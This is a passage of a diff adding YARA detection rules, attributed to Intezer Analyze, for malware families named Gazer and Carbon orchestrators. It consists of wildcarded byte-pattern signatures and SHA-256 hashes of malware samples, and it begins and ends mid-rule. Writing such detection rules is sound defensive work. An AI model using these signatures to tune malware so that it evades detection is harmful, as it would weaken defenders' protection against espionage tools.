+		$block_5 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_6 = { 5? 8B ?? 8B ?? ?? BA ?? ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_8 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_9 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? 66 ?? ?? ?? ?? 75 }
+		$block_10 = { 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "2233dd70fe18f92d398e0f9265714255af1f3431ed512fd5ea174c7630df1fe4" or
+		hash.sha256(0, filesize) == "8f4f4c3469235da8c371cdbf3de0d81e31f71d5648da1fdfc76ad2290178836a" or
+		hash.sha256(0, filesize) == "8afa5f4d3cf330b44266b49c480ad4136c367fdb3c5bbca9db577a6ea6321aba" or
+		hash.sha256(0, filesize) == "38b10be0618576f4a2285362b7576975f997980f1120e9d6470654f48503c179" or
+		11 of them
+}
+
+rule GazerOrchestrator_x32_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? 05 ?? ?? ?? ?? 5? FF 3? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_1 = { 8B ?? ?? 4? 89 ?? ?? 8D ?? ?? 5? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { FF 3? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+		$block_3 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_4 = { 8B ?? ?? 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? FF 7? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 2B ?? 33 ?? 8B ?? F7 ?? 8B ?? 0F AF ?? 2B ?? 0F B7 ?? ?? C1 ?? ?? 0B ?? 0F B7 ?? 8B ?? 0F AF }
+		$block_7 = { 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_8 = { 8D ?? ?? 5? FF 7? ?? 8B ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 4? 83 ?? ?? 3B ?? 0F 86 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 03 ?? 5? FF D? FF 1? ?? ?? ?? ?? 0F AF ?? 5? FF D? 5? 5? 5? B0 ?? 5? C9 C2 }
+		$block_10 = { 0F B6 ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8A ?? 5? C9 C2 }
+		$block_11 = { 8B ?? 8B ?? ?? 83 ?? ?? 5? FF 3? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_12 = { FF 7? ?? FF D? 5? 8D ?? ?? ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_13 = { FF 7? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 6A ?? FF 7? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_15 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? BB ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 5? 5? 5? 5? 8B ?? 8D ?? ?? 5? FF 7? ?? 33 ?? 89 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 87 }
+		$block_18 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 5? C9 C2 }
+		$block_19 = { 8B ?? ?? 83 ?? ?? 5? 6A ?? FF 3? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 5? 5? 8B ?? ?? ?? ?? ?? BD ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 8B ?? 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 8C }
+		$block_22 = { 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 8B ?? A3 ?? ?? ?? ?? A5 FF 5? ?? 84 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 8B ?? 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 9D }
+		$block_24 = { 8B ?? ?? FF 0? 8B ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_27 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 A5 FF 5? ?? 84 ?? 0F 84 }
+		$block_28 = { 8B ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 89 ?? ?? 3B ?? 0F 85 }
+		$block_29 = { 5? 5? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? 8B ?? ?? FF 0? 6A ?? 6A ?? FF 3? FF D? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 83 }
+		$block_32 = { FF 7? ?? ?? 8B ?? FF 3? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 5? ?? 84 ?? 0F 85 }
+		$block_33 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_34 = { 0F B6 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 A5 FF 5? ?? 84 ?? 74 }
+		$block_36 = { 83 ?? ?? ?? 83 ?? ?? ?? 5? FF 7? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 83 ?? ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_38 = { FF 7? ?? 8B ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_39 = { 8B ?? ?? ?? 8D ?? ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 86 }
+		$block_40 = { 8D ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? C1 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 5? 5? C9 C2 }
+		$block_44 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_46 = { 6A ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 03 ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 8B ?? 6A ?? 8B ?? FF 1? 6A ?? 8D ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8B ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_50 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 7? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_51 = { 8D ?? ?? ?? 5? FF 7? ?? ?? 5? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { FF 4? ?? 81 6? ?? ?? ?? ?? ?? FF 4? ?? 29 ?? ?? 4? 83 ?? ?? ?? 89 ?? ?? 0F 8F }
+		$block_53 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_54 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_55 = { 8B ?? ?? 6A ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_56 = { 8D ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { FF 7? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? ?? FF 4? ?? FF 4? ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? ?? 3B ?? 0F 82 }
+		$block_59 = { 8D ?? ?? 5? 6A ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_61 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_62 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { FF 3? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_64 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 0F AF ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_65 = { 5? 8B ?? 83 ?? ?? 33 ?? 83 ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_66 = { 8B ?? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 8B ?? FF 9? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_67 = { 5? 5? 8B ?? ?? 5? 8D ?? ?? A5 33 ?? 66 ?? 66 ?? ?? ?? 4? 66 ?? ?? ?? 75 }
+		$block_68 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_70 = { 5? 6A ?? FF 7? ?? FF D? 8B ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? 3B ?? ?? 0F 85 }
+		$block_71 = { 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 89 ?? ?? 8B ?? A5 FF 5? ?? 84 ?? 75 }
+		$block_72 = { 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? A5 A5 A5 8B ?? ?? ?? 33 ?? 2B ?? 0F 84 }
+		$block_74 = { 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 8E }
+		$block_75 = { FF 4? ?? FF 7? ?? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_76 = { 89 ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_77 = { 8B ?? ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 85 ?? 8B ?? ?? ?? 8B ?? 0F 88 }
+		$block_78 = { 5? 5? 5? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_79 = { 8B ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? A5 A5 A5 8B ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 5? FF D? 5? 8D ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { FF 1? ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_82 = { 8D ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? A5 A5 A5 A5 8B ?? ?? ?? 33 ?? 4? }
+		$block_83 = { 8B ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 8B ?? ?? 8B ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 85 ?? 0F 88 }
+		$block_85 = { 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? ?? 83 ?? ?? 8D ?? ?? 0F 86 }
+		$block_86 = { FF D? 8B ?? FF D? 0F AF ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? 85 ?? 7E }
+		$block_87 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F AF ?? 89 }
+		$block_88 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 5? 5? 5? C6 ?? ?? ?? 0F 84 }
+		$block_89 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 7? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_90 = { 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_92 = { 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_93 = { FF 7? ?? FF 3? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_95 = { 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_96 = { 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_97 = { 2B ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_98 = { 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_99 = { 8B ?? ?? FF 4? ?? FF 4? ?? 8B ?? ?? 8B ?? 8B ?? ?? 3B ?? 0F 82 }
+
+	condition:
+		hash.sha256(0, filesize) == "09da9e80e4554be5c2734ced0e70a6a08eb9ddacb8c1d9155c44ad8f0cbad8d2" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_1 = { BF ?? ?? ?? ?? 44 ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_3 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_5 = { 45 ?? ?? 45 ?? ?? 48 ?? ?? 41 ?? ?? ?? 4C ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? 49 ?? ?? ?? 41 ?? ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_8 = { 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 41 ?? ?? 2B ?? 83 ?? ?? 85 ?? 48 ?? ?? 7E }
+		$block_9 = { 89 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 49 ?? ?? 8D ?? ?? ?? 75 }
+		$block_10 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_11 = { 44 ?? ?? ?? 8B ?? ?? ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 41 ?? ?? 44 ?? ?? 41 ?? ?? 45 ?? ?? 41 ?? ?? 41 ?? ?? 0F 4C ?? 8B ?? 2B ?? 85 ?? 48 ?? ?? 7E }
+		$block_14 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 85 }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? ?? 85 ?? 0F 44 ?? 40 ?? ?? 75 }
+		$block_18 = { 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_19 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 0F BA ?? ?? 8B ?? 73 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_21 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 84 }
+		$block_22 = { 8B ?? 45 ?? ?? 45 ?? ?? 99 4C ?? ?? F7 ?? 41 ?? ?? ?? 44 ?? ?? 85 ?? 4C ?? ?? 4C ?? ?? 7E }
+		$block_23 = { 8B ?? 33 ?? 45 ?? ?? 21 ?? ?? ?? 99 45 ?? ?? 45 ?? ?? 4D ?? ?? 41 ?? ?? 85 ?? 4C ?? ?? 7E }
+		$block_24 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 29 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 8D ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_27 = { 41 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 2B ?? 99 83 ?? ?? F7 ?? 8D ?? ?? 48 ?? ?? ?? ?? EB }
+		$block_28 = { FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_29 = { 33 ?? 48 ?? ?? 49 ?? ?? 66 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 95 ?? 89 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_33 = { 48 ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 45 ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 83 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_35 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? 3B ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_37 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 48 ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_39 = { 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_40 = { 45 ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_42 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_43 = { 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F B6 ?? ?? 2B ?? ?? ?? ?? ?? ?? 75 }
+		$block_44 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_45 = { 49 ?? ?? ?? 33 ?? 48 ?? ?? 49 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 82 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_47 = { E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? F2 ?? 48 ?? ?? 49 ?? ?? 0F 84 }
+		$block_48 = { 48 ?? ?? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 44 ?? 40 ?? ?? 0F 85 }
+		$block_49 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_50 = { E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_51 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_52 = { 49 ?? ?? 8B ?? 48 ?? ?? ?? 83 ?? ?? 0F A3 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 79 }
+		$block_53 = { 33 ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? 8B ?? 48 ?? ?? 0F 86 }
